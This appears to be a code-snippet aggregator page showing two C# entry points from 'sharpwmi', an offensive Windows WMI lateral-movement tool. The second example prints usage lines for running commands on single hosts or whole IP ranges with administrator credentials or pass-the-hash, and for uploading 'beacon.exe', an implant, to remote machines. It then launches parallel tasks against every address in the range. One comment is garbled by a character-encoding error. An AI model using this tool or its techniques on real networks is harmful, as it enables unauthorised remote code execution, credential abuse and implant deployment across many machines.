Example #1
0
        static void Main(string[] args)
        {
            sharpwmi myWMICore = new sharpwmi();

            myWMICore.run(args);
        }
Example #2
0
        static void Main(string[] args)
        {
            if (args.Length < 3)
            {
                Console.WriteLine("" +
                                  "\n\t\tsharpwmi.exe login 192.168.2.3 administrator 123 cmd whoami\n\t\t" +
                                  "sharpwmi.exe login 192.168.2.3/24 administrator 123 cmd whoami\n\t\t" +
                                  "sharpwmi.exe login 192.168.2.3-23 administrator 123 upload beacon.exe c:\\beacon.exe\n\t\t" +
                                  "sharpwmi.exe pth 192.168.2.3-192.168.2.77 cmd whoami\n\t\t" +
                                  "sharpwmi.exe pth 192.168.2.3/255.255.255.0 upload beacon.exe c:\\beacon.exe\n\t\t");
                return;
            }
            string method;
            string host;
            string username = "";
            string password = "";
            string command  = "";
            string action   = "";
            string local    = "";
            string remote   = "";

            method = args[0];
            host   = args[1];
            IPAddressRange ipRange = IPAddressRange.Parse(host);

            if (method == "login")
            {
                username = args[2];
                password = args[3];
                action   = args[4];
                if (action == "cmd")
                {
                    command = args[5];
                }
                else if (action == "upload")
                {
                    local  = args[5];
                    remote = args[6];
                }
            }
            else if (method == "pth")
            {
                action = args[3];
                if (action == "cmd")
                {
                    command = args[4];
                }
                else if (action == "upload")
                {
                    local  = args[4];
                    remote = args[5];
                }
            }


            void taskProc(string ip, ref ManualResetEvent manualResetEvent)
            {
                sharpwmi wmi = new sharpwmi(method, host: ip.ToString().Trim(), username: username, password: password, command: command, action: action, local: local, remote: remote);

                wmi.run();
                manualResetEvent.Set();
            }

            var waits = new List <EventWaitHandle>();

            Task[] tasks;
            int    taskCount = 0;

            foreach (var ip in ipRange)
            {
                var handler = new ManualResetEvent(false);
                waits.Add(handler);
                Task task = Task.Run(() => taskProc(ip.ToString().Trim(), ref handler));
            }

            //³¬64Ï̼߳òÒ׵ȴý
            foreach (var wait in waits.ToArray())
            {
                wait.WaitOne();
            }
        }